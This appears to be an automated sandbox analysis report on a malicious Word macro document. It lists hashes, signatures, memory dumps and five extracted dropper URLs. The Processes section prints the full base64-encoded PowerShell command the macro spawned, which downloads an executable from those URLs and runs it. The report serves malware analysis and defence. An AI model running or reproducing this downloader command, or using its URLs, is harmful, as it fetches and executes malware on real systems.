Analysis

  • max time kernel
    120s
  • max time network
    125s
  • platform
    windows7_x64
  • resource
    win7-20240508-en
  • resource tags

    arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system
  • submitted
    12/06/2024, 19:37

General

  • Target

    a202e6137b1e8abd76af5b2be74f63bf_JaffaCakes118.doc

  • Size

    477KB

  • MD5

    a202e6137b1e8abd76af5b2be74f63bf

  • SHA1

    797900fc4eaed14d9bb41775c58dbc59b2bff7a9

  • SHA256

    9f51918746416b2d8b1d6062030afc723ea45f65a97b29737aeb7fa0004ebb2a

  • SHA512

    8b23c0a559b113a5bb5578fce123e6e4e690a59e1ef01750420a7ae561762859f7fb9f06b2de88d0ecc8bfa970581d07b2bbf58e9d9330c32aace786751f57f3

  • SSDEEP

    6144:+rE+rRFxVBSMzSVIhl9EKRDqME4yanMjdn/NQVg+D3Do8oRtxQwvVAJTVr:GJ1VBS8SVIf51E4K14o8Iu3

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://www.sweethusky.com/AOqo8vpAhh7q4_YsqQn5

exe.dropper

http://mahaluxmibricks.com/yQxPKo3cK5E

exe.dropper

http://nimitta.life/3T0kP8twlY6d

exe.dropper

http://davidemarocco.com/CXwGuvGGCpO

exe.dropper

http://magnetcard.ir/TMYqoqc_rmwcl

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\a202e6137b1e8abd76af5b2be74f63bf_JaffaCakes118.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1724
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:1176
    • C:\Windows\System32\WindowsPowerShell\v1.0\POwershell.exe
      POwershell -e JABjADAANQA2ADgANgAzADMAPQAoACcAYQA3AF8AMQAnACsAJwBfADQAJwApADsAJABxADIAXwA3ADcAXwA2ADcAPQBuAGUAdwAtAG8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAA7ACQAVQAyAF8ANwA4ADYAXwA9ACgAJwBoACcAKwAnAHQAdABwADoALwAvAHcAdwB3AC4AcwB3AGUAZQAnACsAJwB0AGgAJwArACcAdQBzAGsAeQAuAGMAJwArACcAbwBtACcAKwAnAC8AJwArACcAQQBPAHEAJwArACcAbwA4AHYAcABBACcAKwAnAGgAaAA3AHEANABfAFkAcwAnACsAJwBxAFEAbgA1AEAAaAB0ACcAKwAnAHQAcAAnACsAJwA6AC8ALwBtAGEAJwArACcAaABhACcAKwAnAGwAdQAnACsAJwB4AG0AaQBiACcAKwAnAHIAaQBjAGsAcwAnACsAJwAuAGMAbwBtAC8AeQBRACcAKwAnAHgAJwArACcAUABLAG8AMwAnACsAJwBjAEsANQAnACsAJwBFAEAAJwArACcAaAB0ACcAKwAnAHQAcAA6ACcAKwAnAC8ALwBuAGkAbQAnACsAJwBpAHQAdABhAC4AbAAnACsAJwBpAGYAJwArACcAZQAvADMAVAAnACsAJwAwAGsAUAAnACsAJwA4AHQAdwBsAFkAJwArACcANgAnACsAJwBkAEAAaAB0ACcAKwAnAHQAcAA6AC8ALwBkAGEAJwArACcAdgBpAGQAZQBtACcAKwAnAGEAcgAnACsAJwBvAGMAJwArACcAYwBvAC4AJwArACcAYwAnACsAJwBvAG0ALwBDACcAKwAnAFgAJwArACcAdwBHAHUAdgBHAEcAQwBwAE8AJwArACcAQABoACcAKwAnAHQAdABwADoALwAvAG0AJwArACcAYQBnACcAKwAnAG4AJwArACcAZQAnACsAJwB0AGMAYQByAGQAJwArACcALgBpACcAKwAnAHIALwBUACcAKwAnAE0AWQBxAG8AcQBjACcAKwAnAF8AcgAnACsAJwBtACcAKwAnAHcAYwBsACcAKQAuAFMAcABsAGkAdAAoACcAQAAnACkAOwAkAGoAXwA2ADgAOABfAD0AKAAnAEoAJwArACcAOAA1AF8AXwA3ADUAJwApADsAJABuADkAMAAwADgAXwBfACAAPQAgACgAJwA1ACcAKwAnADUAMgAnACkAOwAkAE4AMABfADgAOQBfAF8ANQA9ACgAJwBCACcAKwAnADgAXwA3ADMAOQAzADgAJwApADsAJABDADQAXwBfAF8AOQA2AD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABuADkAMAAwADgAXwBfACsAKAAnAC4AZQB4ACcAKwAnAGUAJwApADsAZgBvAHIAZQBhAGMAaAAoACQAWAAwADUAOQA0ADcAIABpAG4AIAAkAFUAMgBfADcAOAA2AF8AKQB7AHQAcgB5AHsAJABxADIAXwA3ADcAXwA2ADcALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACQAWAAwADUAOQA0ADcALAAgACQAQwA0AF8AXwBfADkANgApADsAJABIADYANQBfADMAMAA9ACgAJwBNADEAMgAzACcAKwAnADMAXwBfACcAKwAnADAAJwApADsASQBmACAAKAAoAEcAZQB0AC0ASQB0AGUAbQAgACQAQwA0AF8AXwBfADkANgApAC4AbABlAG4AZwB0AGgAIAAtAGcAZQAgADQAMAAwADAAMAApACAAewBJAG4AdgBvAGsAZQAtAEkAdABlAG0AIAAkAEMANABfAF8AXwA5ADYAOwAkAEcAOQBfADMAMQAyAD0AKAAnAGsAXwBfADQANQAnACsAJwBfADQAJwApADsAYgByAGUAYQBrADsAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAHUANgBfADYAXwBfAF8AMQA9ACgAJwBzADYAXwA4ACcAKwAnADgAMwAxACcAKwAnADYAJwApADsA
      1⤵
      • Process spawned unexpected child process
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1196

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

      Filesize

      20KB

      MD5

      f9cf6220934f1dec1dbdb6000f7bc248

      SHA1

      593953aa68455bdee86b90dd2d727c5f3be49791

      SHA256

      8951991df39ca9010a5867f4935c1c8889e0d7c7d46f0934c4dd0e521016bfc9

      SHA512

      3c994cfa945c394b87d3cd75c320885e54c9c605d8a8b8ba2b1391bc2cae73f0a974bf0cc9c35ef8cfa3537aedbc5869e732d144b74508382875e919f93f0011

    • memory/1196-152-0x000000001B720000-0x000000001BA02000-memory.dmp

      Filesize

      2.9MB

    • memory/1196-153-0x0000000002790000-0x0000000002798000-memory.dmp

      Filesize

      32KB

    • memory/1724-89-0x0000000004F20000-0x0000000005020000-memory.dmp

      Filesize

      1024KB

    • memory/1724-20-0x0000000004F20000-0x0000000005020000-memory.dmp

      Filesize

      1024KB

    • memory/1724-42-0x0000000004F20000-0x0000000005020000-memory.dmp

      Filesize

      1024KB

    • memory/1724-54-0x0000000004F20000-0x0000000005020000-memory.dmp

      Filesize

      1024KB

    • memory/1724-101-0x0000000004F20000-0x0000000005020000-memory.dmp

      Filesize

      1024KB

    • memory/1724-0-0x000000002F2E1000-0x000000002F2E2000-memory.dmp

      Filesize

      4KB

    • memory/1724-66-0x0000000004F20000-0x0000000005020000-memory.dmp

      Filesize

      1024KB

    • memory/1724-126-0x0000000004F20000-0x0000000005020000-memory.dmp

      Filesize

      1024KB

    • memory/1724-2-0x000000007183D000-0x0000000071848000-memory.dmp

      Filesize

      44KB

    • memory/1724-159-0x000000007183D000-0x0000000071848000-memory.dmp

      Filesize

      44KB

    • memory/1724-160-0x0000000004F20000-0x0000000005020000-memory.dmp

      Filesize

      1024KB

    • memory/1724-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/1724-182-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/1724-183-0x000000007183D000-0x0000000071848000-memory.dmp

      Filesize

      44KB